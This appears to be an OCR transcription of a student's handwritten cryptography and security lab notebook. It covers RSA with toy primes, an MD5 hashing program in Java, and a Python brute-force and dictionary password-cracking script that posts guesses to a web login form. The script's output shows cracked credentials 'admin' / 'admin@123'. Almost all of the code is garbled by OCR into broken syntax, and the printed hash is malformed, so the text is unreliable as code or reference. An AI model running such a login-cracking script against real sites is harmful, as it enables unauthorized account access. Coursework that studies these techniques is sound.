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Aim = WAP to implement RSA Algo
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include < bits/stdc++.b> using namespace std;

int gcd (inta, int b)

it int temp; While (True) {

temp = a1.b;

if (temp = = 0) return b;

b = temp;

int main ()

double p=3;

double q = 7;

double n = p * q;

double e=2; double phi = (p-1)*(q-1);

Teacher's Signature: ____

Output 7

Message data = 12.000000 Encrypted data = 3.000000 Original Message Sent = 12.000000

Aim > WAP to implement MDS Algorithm import java. moth. Big Integer; import java. security. Message Digest; import java. security. No Such Algorithm Exception; public class MDS &

public static String get MD5 (string input) Message Digest md = Message Digest.

get Instance ("MD 5"); byte [] message Digest = md. digest (
input. get Bytes ()); Big Integer no = new Big Integer (1, measage Digest); String hash tent = no. to String (16); while chash tent. length (1) < 329 hash tent = "0" + hash tent; networn hash tent; Catch (No. Such Algorithm Exception e) {

Throw new Runtime Exception (e); Teacher's Signature: _____

Output? Your Hashlode Generated by MOSis:
e39b9c178b2c9be99b141d356c6ff6

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Expt. No.:	Page No.:
public static void main (S-1 No Such Algorith	bring args () throus
String 5 = "Gecks Fo System. out. print In (Generated by	or Greeks ";
Generated by get Md 5	$\frac{MDS}{MDS} = \frac{MDS}{MDS} + \frac{MDS}{MDS} = \frac{MDS}{MDS} + \frac{MDS}{MDS} = \mathsf{$
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	Teacher's Signature:

Aim > Password Cracking Techniques - Boute Force & Dictionary attack. pip install requests import requests wel = input ("Enter Target Ux1: ")

username = input ("Enter Wrong Password Error

Message: ") ovor = input (" Enter Target username: ") def boute Gracking (username, wel, ervor): for password in passwords: password = password. Strip () print (" Trying: " + passward) data-dict = & " yername": yername, "password": password, "login": Submit nesponse = nequests post (wil, data = data - dict) if ever in Str (response content): elif "CS8f" in stor (response content) print ("CSRF Token Detected! Brute Force Not Working This Website.") emit () Teacher's Signature:____

Output =>

Vsername ---> admin
Password - --> admin@ 123

	Date:
E	xpt. No.: Page No.:
	else:
	print ("Username:>" + Username)
	print (" Password:) "+ password) enit()
	except:
	point ("Some Everor Occurred Please Check Your Internet Connection !!")
	with open (" passwords. +xt ", "x") as passwords: brute Cracking (username, wel, error)
	(asername, wil, evior)
	perprint (" [!!] password not found in password dist ")
	J
	Teacher's Signature:

		Date:
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si	se ?	Page No: (1 j Last Error Text () << "178 \n") mature Verified "<< " 18 \n
		Teacher's Signature: